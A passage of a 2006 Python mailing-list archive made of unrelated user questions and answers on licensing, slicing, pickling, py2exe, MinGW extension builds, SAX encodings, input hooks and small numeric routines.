Yes it is part of the standard library.  What distribution are you using?

Ciao,
        Marc 'BlackJack' Rintsch
--
http://mail.python.org/mailman/listinfo/python-list



------------ Institute For Infocomm Research - Disclaimer -------------
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From martitzam at gmail.com  Sun Oct  8 20:23:31 2006
From: martitzam at gmail.com (Martitza)
Date: 8 Oct 2006 17:23:31 -0700
Subject: Python license question
Message-ID: <1160353411.470511.307190@c28g2000cwb.googlegroups.com>

Hi.  I work for a small company (actually in process of forming)
interested in embedding or extending python as part of our commercial
non-open-source product.  We have legal counsel, but are interested in
the spirit as well as the letter of the law.  Not much seems to have
been written about the python license since version 2, so pointers to
more recent discussions or contacts are appreciated.  If this is not
the right place to ask these questions, I would welcome better ideas.

We've read the license and "layman's language" at
http://www.python.org/psf/license/ and are need help reconciling the
two.

First Observation
The entire license -- such as produced by license() -- includes a lot
of information which appears to be historical or anecdotal, not the
kind of language our lawyers usually see in licensing agreements.
Lawyers claim they don't like "extra" language.  You be the judge.  :)

First Question
Is all of that information really a required part of the license we
pass on to our customers or is the "PYTHON SOFTWARE FOUNDATION LICENSE
VERSION 2" portion sufficient?


Second Observation
Referring to sections 2 and 3 of the PSF License Version 2... Our
non-open-source product will be a derived work, either by extending or
embedding the python interpreter.  According to section 3, we will
briefly summarize these modifications to the python interpreter as
these relate to our product.  Good.

Section 2 says that we (as Licensee of the original python) have to
include without our modified python a copy of the license.  The License
explicitly states in section 1 that it is between the PSF and the end
user.  At the moment, we are the end user.  But when we sell our
software as a derived work, our customer becomes the end user.  So our
customers are entering into a direct agreement with PSF.  This
indemnifies the PSF (sections 4,5,6,7) -- also good.

But there is a side effect of section 2 that would seem to give our
customers many rights ("to reproduce, analyze, test, perform and/or
display publicly, prepare derivative works, distribute...") to the
derived work we created.

We would have a problem with our customers distributing our derivative
work or preparing derivative works of our derivative work.  We could of
course apply our own restrictive license to things which are truly
ours, but we cannot do this to the work derived from python because
that would conflict with section 2 of the python license.

Second Question
Can we we prevent our commercial customers from freely redistributing
or modifying our derived version of python?  The answer seems like "no"
from the License itself but "yes" from the layman's language.  Of
course, our lawyers only look at the license.

Thank you for your time.  Our goal is to understand and be good
corporate citizens.  We believe python would be a great benefit to our
customers, and we are looking for a viable business model that allows
that.

Martitza



From kloro2006 at gmail.com  Fri Oct 20 14:53:08 2006
From: kloro2006 at gmail.com (tom arnall)
Date: Fri, 20 Oct 2006 11:53:08 -0700
Subject: cross-linked version of the python documentation
References: <453904e0$0$25170$88260bb3@free.teranews.com>
	<mailman.859.1161368595.11739.python-list@python.org>
Message-ID: <45390db8$0$19612$88260bb3@free.teranews.com>

Simon Brunning wrote:

> On 10/20/06, tom arnall <kloro2006 at gmail.com> wrote:
>> Is there a cross-linked version of the python documentation available? Is
>> anyone interested in starting a project for such?
> 
> What do you mean by cross-linked?

If the term e.g. 'span()' is used in a discussion of 'search()' in the regex
documentation, then there is a hyperlink from that appearance of the term
to the documentation for 'span()'. I think this would be very helpful to
newbies like myself.

Thanks,

tom arnall
north spit, ca
usa

-- 
Posted via a free Usenet account from http://www.teranews.com



From alistair.king at helsinki.fi  Wed Oct 25 04:38:19 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Wed, 25 Oct 2006 11:38:19 +0300
Subject: dict problem
Message-ID: <453F227B.5000203@helsinki.fi>

Hi,

ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error:


Traceback (most recent call last):
  File "DS1excessH2O.py", line 242, in ?
    updateDS1v(FCas, C, XDS)
NameError: name 'C' is not defined

dictionary is: 

DS1v = {'C': 6, 'H': 10, 'O': 5}



#'Fxas' in each case will be integers but 'atoms' should be a float

def updateDS1v(Fxas, x, XDS):
    while Fxas != 0:
        atoms = DS1v.get('x') + Fxas*XDS
        DS1v[x] = atoms

updateDS1v(FCas, C, XDS)
updateDS1v(FHas, H, XDS)
updateDS1v(FOas, O, XDS)
updateDS1v(FNas, N, XDS)
updateDS1v(FSas, S, XDS)
updateDS1v(FClas, Cl, XDS)
updateDS1v(FBras, Br, XDS)
updateDS1v(FZnas, Zn, XDS)
print DS1v

I know there is probably a simple solution but im quite new to python and am lost?


Ali


-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From onurb at xiludom.gro  Tue Oct 24 04:09:45 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 24 Oct 2006 10:09:45 +0200
Subject: pytho servlet engine
In-Reply-To: <1161652946.506350.207550@b28g2000cwb.googlegroups.com>
References: <1161652946.506350.207550@b28g2000cwb.googlegroups.com>
Message-ID: <453dca4b$0$22735$426a34cc@news.free.fr>

makerjoe wrote:
> hi, all
> i would like to know which is the best PSE

"best" according to what metrics ?

> i have to choose to use
> servlets with mod_python in my HRYDROGEN project
> (http://makerjoe.sytes.net/pycrud/query.psp)




-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From michiel at thingmajig.org  Sun Oct  1 04:50:31 2006
From: michiel at thingmajig.org (Michiel Sikma)
Date: Sun, 1 Oct 2006 10:50:31 +0200
Subject: "Wiki in 10 minutes"
In-Reply-To: <efmq37$glt$1@sea.gmane.org>
References: <C81EEA2F-26E2-4AB0-928D-751280C6E460@thingmajig.org>
	<efmq37$glt$1@sea.gmane.org>
Message-ID: <CD6DFE0F-4057-40CE-AAE7-84770A495BBC@thingmajig.org>

Thanks a lot to both of you. :)

Michiel

On Oct 1, 2006, at 12:12 AM, Steve Holden wrote:

> Michiel Sikma wrote:
>> Hello everybody.
>>
>> I recently had a bit of data loss and, among some other minor things,
>> lost my bookmarks. I once bookmarked this video tutorial which
>> allegedly showed how to make a wiki in 10 minutes with some Python
>> network framework. Does anybody know which one it might have been?
>> I've been meaning to do it for some time now.
>>
>> Any other links pertaining to the creation of web applications with
>> Python, which I'm only just getting into, would also be appreciated.
>> Thanks!
>
> http://www.turbogears.org/docs/tutorials/wiki20/
> TurboGears: 20 Minute Wiki Tutorial
>
> http://wiki.python.org/moin/WebProgramming
> Web Programming - PythonInfo Wiki
>
> regards
>   Steve
> -- 
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden
>
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Michiel Sikma
michiel at thingmajig.org





From fredrik at pythonware.com  Tue Oct 17 02:34:24 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 08:34:24 +0200
Subject: a question about s[i:j] when i is negative
In-Reply-To: <1161066186.490960.326230@m73g2000cwd.googlegroups.com>
References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com>
Message-ID: <eh1thh$p1v$1@sea.gmane.org>

dracula571 wrote:

> but k[-6:2] = [1,2]
> why k[-6:2] is [1,2]not [].i do follow (3),to make i positive by
> plusing len(k) twice.

twice?

</F>



From fredrik at pythonware.com  Sun Oct  8 17:52:49 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 08 Oct 2006 23:52:49 +0200
Subject: references and buffer()
In-Reply-To: <f4cc03640610081432t1f19db6v8d24cf623e293d82@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>	<egbh20$o6q$2@sea.gmane.org>	<f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>	<463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com>	<f4cc03640610081258p22e879feg4281c7bba758bef4@mail.gmail.com>	<463ff4860610081316r7a96c31ex92632f09a6492ec5@mail.gmail.com>
	<f4cc03640610081432t1f19db6v8d24cf623e293d82@mail.gmail.com>
Message-ID: <egbrvh$n0k$1@sea.gmane.org>

km wrote:

> why is that python doesnt implement direct memory addressing provided a 
> reference to an object exists ?

because Python is a portable high-level language.  if you want 
assembler, you shouldn't use Python.

did you read the "reset your brain" article ?

</F>



From lycka at carmen.se  Wed Oct 18 16:35:35 2006
From: lycka at carmen.se (Magnus Lycka)
Date: Wed, 18 Oct 2006 22:35:35 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
Message-ID: <eh636n$sqm$1@wake.carmen.se>

Raj wrote:
> Hi,
> 
> We just executed a project with Python using TG. The feedback was to
> use more python like programming rather than C style code executed in
> Python. The feedback is from a Python purist and for some reasons we
> cannot solicity his help.
> 
> So we'd like to do is to scrub through the codebase and identify places
> where the codebase needs improvement, both from styling as well as
> design. Is there any website that can provide me with advanced tips
> rather than just tutorials coz thats not of much help.

Python Cookbook. There's both a web site and a book version.


From larry.bates at websafe.com  Fri Oct 13 10:55:42 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Fri, 13 Oct 2006 09:55:42 -0500
Subject: Python Newbie question
In-Reply-To: <1160714037.401129.219400@e3g2000cwe.googlegroups.com>
References: <1160714037.401129.219400@e3g2000cwe.googlegroups.com>
Message-ID: <rOKdnUfoBcR2NbLYnZ2dnUVZ_vCdnZ2d@comcast.com>

insideview at gmail.com wrote:
> Is it possible to combine or bundle separate .exe files into the
> compiled python .exe when using py2exe? If possible, how would that be
> described within setup.py ..... and how/where would I specify such .exe
> should be ran first in the pre-compiled scripts? My goal is to get the
> total package down to as few files as possible, so I appreciate
> understanding how I could do this. The .exe is some low-level commands
> that was compiled in a separate language.... but I hope this little
> .exe can be included gracefully. Thank you for your expertise! :) AMYMC
> 
Do this with the installer instead of with py2exe.  Take a look at
Inno Setup (http://www.jrsoftware.org/isinfo.php).  With it you can put
as many files (.exe or otherwise) and have supporting .exe's run in any
order you wish (after installation).  This was you have only 1 file
(setup.exe) that needs to be distributed.  Doesn't really matter ho
many files it installs when it runs, that's all hidden from the user
anyway.

-Larry Bates


From rogue_pedro at yahoo.com  Tue Oct 24 19:56:43 2006
From: rogue_pedro at yahoo.com (Simon Forman)
Date: 24 Oct 2006 16:56:43 -0700
Subject: Sending Dictionary via Network
In-Reply-To: <1161731374.373983.56110@m73g2000cwd.googlegroups.com>
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<VfGdnW3keKyzBKPYnZ2dnUVZ_sOdnZ2d@comcast.com>
	<1161731374.373983.56110@m73g2000cwd.googlegroups.com>
Message-ID: <1161734203.189942.42020@k70g2000cwa.googlegroups.com>


mumebuhi wrote:
> Thank you very much for the reply.
>
> Can pickle work directly with socket? The way I am doing right now is
> to pickle the object to a file then send the file content through the
> socket.

Pickle aso has dumps() and loads() to work with strings rather than
files.

Peace,
~Simon



From dracula571 at gmail.com  Tue Oct 17 04:39:55 2006
From: dracula571 at gmail.com (dracula571)
Date: 17 Oct 2006 01:39:55 -0700
Subject: a question about s[i:j] when i is negative
In-Reply-To: <1161067048.047048.159870@e3g2000cwe.googlegroups.com>
References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com>
	<1161067048.047048.159870@e3g2000cwe.googlegroups.com>
Message-ID: <1161074395.530531.290560@f16g2000cwb.googlegroups.com>


mensanator at aol.com ???

> dracula571 wrote:
> > s[i:j] slice of s from i to j         (3), (4)
> >
> > (3)
> > If i or j is negative, the index is relative to the end of the string:
> > len(s) + i or len(s) + j is substituted. But note that -0 is still 0.
> >
> >
> > (4)
> > The slice of s from i to j is defined as the sequence of items with
> > index k such that i <= k < j. If i or j is greater than len(s), use
> > len(s). If i is omitted or None, use 0. If j is omitted or None, use
> > len(s). If i is greater than or equal to j, the slice is empty.
> >
> > i can't follow (3) very well.
> > for example:k = [1,2,3,4,5]
> > k[-1:2]=[]
> > k[-5:2]=[1,2]
> > but k[-6:2] = [1,2]
> > why k[-6:2] is [1,2]not [].
>
> Because 6 is greater then len(k), so when you ask
> for i=-6, you get i=-5 instead. And relative -5 is actually
> absolute 0 which is less than 2, so you do not get an
> empty slice.
>
> > i do follow (3),to make i positive by
> > plusing len(k) twice.But the result is not what i expect.why,or did i
> > misunderstand the rule of (3).
>
> See (4).
when compared with len(k), the value of i is a absolute value?
in this example,i used -6 to compare with len(k).
I misunstood the rule (4),and used (3) wrong by plusing len(k) twice to
make it positive ,that is -6 + len(k) + len(k) = 4.
Thanks



From gagsl-py at yahoo.com.ar  Tue Oct 10 04:31:26 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 10 Oct 2006 05:31:26 -0300
Subject: How to find a file or a device is currently used by which
	process or which program ?
In-Reply-To: <452B572C.6020303@gmail.com>
References: <452B572C.6020303@gmail.com>
Message-ID: <7.0.1.0.0.20061010053020.046f0ae0@yahoo.com.ar>

At Tuesday 10/10/2006 05:17, fdu.xiaojf at gmail.com wrote:

>When I want to uninstall my usb disk on windows, the operating systems
>sometimes tells me the device is being used by other program. But I
>can't find which program is using it. Can I do this using python ?

I don't know with Python, but Process Explorer from 
www.sysinternals.com will show you all open files from all running processes.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From steve at holdenweb.com  Tue Oct 24 21:49:55 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 02:49:55 +0100
Subject: How to find out the directory that the py file is in?
In-Reply-To: <1161738784.293256.113900@m73g2000cwd.googlegroups.com>
References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com>	<mailman.1121.1161734482.11739.python-list@python.org>
	<1161738784.293256.113900@m73g2000cwd.googlegroups.com>
Message-ID: <ehmfq1$9ff$1@sea.gmane.org>

PengYu.UT at gmail.com wrote:
> 
> On Oct 24, 7:01 pm, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> 
>>At Tuesday 24/10/2006 20:39, PengYu... at gmail.com wrote:
>>
>>
>>>I have the following python script and some_command in the same
>>>directory. I have to call the python script from that directory.
>>>Otherwise, some_command won't be found. I'm wondering how to make the
>>>following script working no matter what the working directory is.print
> 
> 
>>os.path.abspath(__file__)
> 
> 
> How to get the absolute dir name which the file is in? Is there any
> function can be called easily?
> 
> Thanks,
> Peng
> 

That would be

   os.path.split(os.path.abspath(__file__))[0]

You *are* planning to read the documentation at some stage, right? ;-)

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From ashutosh.mishra at gmail.com  Thu Oct 12 15:16:36 2006
From: ashutosh.mishra at gmail.com (Ash)
Date: 12 Oct 2006 12:16:36 -0700
Subject: Enthought python - Traits
Message-ID: <1160680596.521987.110210@e3g2000cwe.googlegroups.com>

Hello everyone !

I am trying to find some sort of a cookbook or more examples for using
Enthought Traits to build GUI's. I tried to follow the documentations
present at the enthought site, but couldnt get too far - especially on
how to handle a control event ?

Also while i am on the topic:

say i have a list "control" that create using the following two lines:

class Project(HasTraits):
	coordinate_system=Enum('Cartesian','Cylindrical')

I added the following line to get the option selected by the user:

def _coordinate_system_changed(self,old,new):
            print 'System changed from %s to %s ' %(old,new)

but it does not return what the user select. It should return either 0
or 1 based on the two choices, but i can't seem to find a way to trap
that.
I am relatively new to this GUI programming in Python and really could
use some tips/hints.

Thanks,

-Ash



From horpner at yahoo.com  Mon Oct 30 14:33:45 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 30 Oct 2006 20:33:45 +0100
Subject: scared about refrences...
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
Message-ID: <slrnekckvb.1dk.horpner@FIAD06.norwich.edu>

On 2006-10-30, SpreadTooThin <bjobrien62 at gmail.com> wrote:
> def fn(list):
>    list[1] = 0
>
> myList = [1, 2, 3]
> print myList
> fn(myList)
> print myList
>
>>>> [1,2,3]
>>>> [1,0,3]
>
> How can I avoid this?  In this case this is a really simplified
> example but the effects are the same... How do I specify or
> create deep copies of objects that may contain other objects
> that may contain other object that may contain other
> objects....

See 3.18 Copy -- Shallow and deep copy operations.

-- 
Neil Cerutti
I pulled into a lay-by with smoke coming from under the bonnet. I
realized the car was on fire so took my dog and smothered it with a
blanket. --Insurance Claim Blooper


From sjmachin at lexicon.net  Sun Oct  8 08:52:10 2006
From: sjmachin at lexicon.net (John Machin)
Date: 8 Oct 2006 05:52:10 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <egapno$sq9$1@lust.ihug.co.nz>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>
	<1160184574.708331.78400@i3g2000cwc.googlegroups.com>
	<pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>
	<1160222386.410987.230630@b28g2000cwb.googlegroups.com>
	<egapno$sq9$1@lust.ihug.co.nz>
Message-ID: <1160311930.881364.268980@k70g2000cwa.googlegroups.com>


Lawrence D'Oliveiro wrote:
> In message <1160222386.410987.230630 at b28g2000cwb.googlegroups.com>, John
> Machin wrote:
>
> >
> > Steven D'Aprano wrote:
> >> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote:
> >>
> >> >
> >> > MonkeeSage wrote:
> >> >> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
> >> >> > it is clearer to you to make the condition explicit ("blah not
> >> >> > False"),
> >> >>
> >> >> "blah not False" -> "blah is False"
> >> >
> >> > Whichever way your team wants to interpret it, d00d.
> >> >
> >> > Please consider whether you should be writing "(blah is False) is
> >> > True", that would be more explicit.
> >>
> >> Puh-lease! Get it right!
> >>
> >> It should be "((blah is False) is True) is True".
> >>
> >
> > Yes, but it stops after one more iteration. "What I tell you three
> > times is true" -- the Bellman, "The Hunting of the Snark", by Lewis
> > Carroll.
>
> But that was only said once, wasn't it?

And the Bellman made no statement at all about the truthfulness of
statements made any other number of times than three.



From sjmachin at lexicon.net  Sat Oct  7 07:59:46 2006
From: sjmachin at lexicon.net (John Machin)
Date: 7 Oct 2006 04:59:46 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>
	<1160184574.708331.78400@i3g2000cwc.googlegroups.com>
	<pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>
Message-ID: <1160222386.410987.230630@b28g2000cwb.googlegroups.com>


Steven D'Aprano wrote:
> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote:
>
> >
> > MonkeeSage wrote:
> >> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
> >> > it is clearer to you to make the condition explicit ("blah not False"),
> >>
> >> "blah not False" -> "blah is False"
> >
> > Whichever way your team wants to interpret it, d00d.
> >
> > Please consider whether you should be writing "(blah is False) is
> > True", that would be more explicit.
>
> Puh-lease! Get it right!
>
> It should be "((blah is False) is True) is True".
>

Yes, but it stops after one more iteration. "What I tell you three
times is true" -- the Bellman, "The Hunting of the Snark", by Lewis
Carroll.



From jordan.taylor2 at gmail.com  Mon Oct  9 15:11:46 2006
From: jordan.taylor2 at gmail.com (Jordan)
Date: 9 Oct 2006 12:11:46 -0700
Subject: intercepting keypresses, mouse movements, joystick movements.
In-Reply-To: <1160412473.376459.112060@m73g2000cwd.googlegroups.com>
References: <mailman.113.1160394876.11739.python-list@python.org>
	<1160412473.376459.112060@m73g2000cwd.googlegroups.com>
Message-ID: <1160421106.543520.81810@c28g2000cwb.googlegroups.com>

Another option is to look at pywin32, which I believe has the
SetWindowsHook[Ex] commands,  or to use ctypes (which is built in if
you're using python2.5) to load the neccessary dll's to use that
function.  However, pyHook should be good unless you need something for
the joystick (don't think that's covered), or for detecting system or
dead keys (unless pyHook has been updated recently, the last time I
checked the docs said it didn't capture those keys).

Good Luck,
Jordan

TheSeeker wrote:
> bryan rasmussen wrote:
> > Hi,
> >
> > I've been looking at autohotkey to do some different usability hacks
> > for windows http://www.autohotkey.com/
> > one of the benefits of this language is it allows one to catch
> > keyboard usage, joystick usage, and mouse usage inputs very easily at
> > a global level or at application levels by watching applications for
> > events within the applications.
> >
> > I was wondering if there were any python libraries that provided
> > similar functionality before I went ahead with the project though.
> >
> > Cheers,
> > Bryan Rasmussen
>
> You might take a look at pyHook:
> http://sourceforge.net/project/showfiles.php?group_id=65529&package_id=92632



From rw at smsnet.pl  Wed Oct  4 13:32:46 2006
From: rw at smsnet.pl (Rob Wolfe)
Date: Wed, 04 Oct 2006 19:32:46 +0200
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>
Message-ID: <871wpokmv5.fsf@smsnet.pl>

"Edward K. Ream" <edreamleo at charter.net> writes:

> Can anyone tell me how the content handler can determine the encoding of the 
> file?  Can sax provide this info?

Try this:

<code>
from xml.parsers import expat

s = """<?xml version='1.0' encoding='iso-8859-1'?>
<book>
<title>Title</title>
<chapter>Chapter 1</chapter>
</book>
"""

class MyParser(object):
    def XmlDecl(self, version, encoding, standalone):
        print "XmlDecl", version, encoding, standalone
        
    def Parse(self, data):
        Parser = expat.ParserCreate()
        Parser.XmlDeclHandler = self.XmlDecl
        Parser.Parse(data, 1)
    
parser = MyParser()
parser.Parse(s)
</code> 

-- 
HTH,
Rob


From anthra.norell at vtxmail.ch  Wed Oct 25 07:28:36 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Wed, 25 Oct 2006 13:28:36 +0200
Subject: mean ans std dev of an array?
In-Reply-To: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
Message-ID: <453F4A64.1000507@vtxmail.ch>

SpreadTooThin wrote:
> import array
> a = array.array('f', [1,2,3])
>
> print a.mean()
> print a.std_dev()
>
> Is there a way to calculate the mean and standard deviation on array
> data?
>
> Do I need to import it into a Numeric Array to do this?
>
>   
I quickly fish this out of my functions toolbox. There's got to be 
faster functions in scipy, though.

Frederic

(Disclaimer: If you build an air liner or a ocean liner with this and 
the wings fall off at thirty thousand feet or it turns upside down in 
the middle of an ocean, respectively of course, I expect a bunch of 
contingency lawers lining up at my door wanting to sue you on my behalf.)


def standard_deviation (values):

   """
      Takes a sequence and returns mean, variance and standard deviation.
      Non-values (None) are skipped

   """

   import math
 
   mean = _sum_values_squared = _sum_values = 0.0

   l = len (values)
   i = 0
   item_count = 0
   while i < l:
      value = values [i]
      if value != None:
         _sum_values += value
         _sum_values_squared += value * value
         item_count += 1
      i += 1

   if item_count < 2:  # having skipped all Nones
      return None, None, None

   mean = _sum_values / item_count

   variance = (_sum_values_squared - item_count * mean * mean) / 
(item_count - 1)

   if variance < 0.0: variance = 0.0 
   # Rounding errors can cause minute negative values which would crash 
the sqrt

   standard_deviation = math.sqrt (variance)

   return mean, variance, standard_deviation




From nick at craig-wood.com  Sat Oct 14 01:33:51 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Sat, 14 Oct 2006 00:33:51 -0500
Subject: building extensions for Windows Python
References: <pan.2006.10.13.15.39.25.338194@bellsouth.net>
Message-ID: <slrneivvia.6t2.nick@irishsea.home.craig-wood.com>

JW <wilson1442 at bellsouth.net> wrote:
>  I have a lousy little Python extension, generated with the generous help
>  of Pyrex.  In Linux, things are simple.  I compile the extension, link it
>  against some C stuff, and *poof*! everything works.

;-)

>  My employer wants me to create a Windows version of my extension that
>  works with the vanilla Python 2.5 from python.org.
> 
>  My employment contract states that I won't be required to run Windows, and
>  I desperately want to honor that clause. Ideally,  I'd somehow MinGw cross
>  compile like I do with C/C++ and *poof*!, out would pop a file I could
>  hand out to someone who wanted to "import <my_lousy_extension>".

You can do that no trouble - we do.  We use mingw on linux to compile
stuff for windows all the time.  (We use the mingw package under
debian)

We build extensions using mingw but linked to the link library of the
official python2.4 build.  The extensions then run with the standard
python.org install.

Here are some (slightly dated) instructions which you'll need to adapt
to your setup

/misc/windows is a smb mounted windows machine

# Linking with the distributed python
#
# http://bonsai.ims.u-tokyo.ac.jp/~mdehoon/software/python/cygwin.html
#
# On a windows machine
# install the latest windows python (2.4.3.msi) from www.python.org
# Copy the header files into the mingw installation
cp -av /misc/windows/Python24/include /usr/i586-mingw32msvc/include/python2.4
# Download pexports from here
# http://www.emmestech.com/software/cygwin/pexports-0.43/download_pexports.html
# unpack pexports.exe
unzip pexports-0.43.zip
# Fetch python dll from the windows machine
cp -av /misc/windows/WINNT/system32/python24.dll .
# Extract the exported symbols
wine pexports python24.dll > python24.def
# Create the link library
/usr/i586-mingw32msvc/bin/dlltool --dllname python24.dll --def python24.def --output-lib libpython2.4.a
# Move the files into the correct place
mv -i python24.dll python24.def libpython2.4.a /usr/i586-mingw32msvc/lib/

After that lot you can build python extensions with mingw under linux,
using -lpython2.4 which will run under windows.

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From http  Tue Oct 24 23:00:31 2006
From: http (Paul Rubin)
Date: 24 Oct 2006 20:00:31 -0700
Subject: numbers to string
References: <saA%g.18516$A27.17960@trnddc08>
Message-ID: <7x64e9drqo.fsf@ruckus.brouhaha.com>

"David Isaac" <aisaac0 at verizon.net> writes:
> >>> y
> [116, 114, 121, 32, 116, 104, 105, 115]
> >>> z=''.join(chr(yi) for yi in y)
> >>> z
> 'try this'
> 
> What is an efficient way to do this if y is much longer?

import array
z = array.array('B',y).tostring()


From fredrik at pythonware.com  Thu Oct  5 01:12:27 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 07:12:27 +0200
Subject: How to ask sax for the file encoding
In-Reply-To: <452439bf$0$29051$9b622d9e@news.freenet.de>
References: <dROUg.62$iP5.51@newsfe07.lga>	<mailman.1265.1159970009.10491.python-list@python.org>	<WQPUg.8$Cr3.6@newsfe03.lga>
	<4oi0f3FehgnuU1@uni-berlin.de>	<k3QUg.11$Cr3.3@newsfe03.lga>
	<4oi4meFep2seU1@uni-berlin.de>	<LnRUg.5$5H6.3@newsfe05.lga>	<4523f44d$0$4528$e4fe514c@news.xs4all.nl>	<EfUUg.90$iP5.69@newsfe07.lga>	<4524226b$0$4520$e4fe514c@news.xs4all.nl>
	<452439bf$0$29051$9b622d9e@news.freenet.de>
Message-ID: <eg247r$8ml$1@sea.gmane.org>

Martin v. L?wis wrote:

> A common problem is to save the data in the same encoding that they
> original had; this is what an editor typically does (you may know
> Edward Ream for writing editors). XML parsers are notoriously bad
> in supporting editors. There are too many lexical details that may
> need to be preserved (such as the order of the attributes, and the
> spaces inside the opening tag) to make it impractical to report all
> that to the application.

an editor designed to work on the XML serialization level shouldn't use 
a traditional XML parser at all, of course.  definitely not SAX or DOM, 
or any other infoset-or-higher-level API.

on the other hand, an editor that just happens to use XML as a 
serialization format might as well decide on a model representation
and an encoding and stick to it.  being tolerant in what it accepts
is a good idea, of course, but being consistent in what it generates
is an even better idea.

</F>



From bearophileHUGS at lycos.com  Sun Oct  8 06:08:30 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 8 Oct 2006 03:08:30 -0700
Subject: need some regular expression help
In-Reply-To: <mailman.41.1160277488.11739.python-list@python.org>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<roy-35D3AC.22300607102006@reader1.panix.com>
	<mailman.41.1160277488.11739.python-list@python.org>
Message-ID: <1160302110.502512.152280@i42g2000cwa.googlegroups.com>

Tim Chase:
> It still doesn't solve the aforementioned problem
> of things like ')))((('  which is balanced, but psychotic. :)

This may solve the problem:

def balanced(txt):
    d = {'(':1, ')':-1}
    tot = 0
    for c in txt:
        tot += d.get(c, 0)
        if tot < 0:
            return False
    return tot == 0

print balanced("42^((2x+2)sin(x)) + (log(2)/log(5))") # True
print balanced("42^((2x+2)sin(x) + (log(2)/log(5))") # False
print balanced("42^((2x+2)sin(x))) + (log(2)/log(5))") # False
print balanced(")))(((") # False

A possibile alternative for Py 2.5. The dict solution looks better, but
this may be faster:

def balanced2(txt):
    tot = 0
    for c in txt:
        tot += 1 if c=="(" else (-1 if c==")" else 0)
        if tot < 0:
            return False
    return tot == 0

Bye,
bearophile



From hanumizzle at gmail.com  Sun Oct  8 16:16:07 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 8 Oct 2006 16:16:07 -0400
Subject: references and buffer()
In-Reply-To: <f4cc03640610081258p22e879feg4281c7bba758bef4@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
	<egbh20$o6q$2@sea.gmane.org>
	<f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
	<463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com>
	<f4cc03640610081258p22e879feg4281c7bba758bef4@mail.gmail.com>
Message-ID: <463ff4860610081316r7a96c31ex92632f09a6492ec5@mail.gmail.com>

On 10/8/06, km <srikrishnamohan at gmail.com> wrote:
> Hi all,
>
>
> > Say that you copy the contents of file foo into file bar and delete
> > the original foo. Of course file bar still exists in this case. Not
> > much of a difference; I haven't seen buffer objects yet (I am also new
> > to Python), but the initialization for the buffer probably copies
> > whatever is in y somewhere.
>
>  that means when u refer to an object  with different names (variable), it
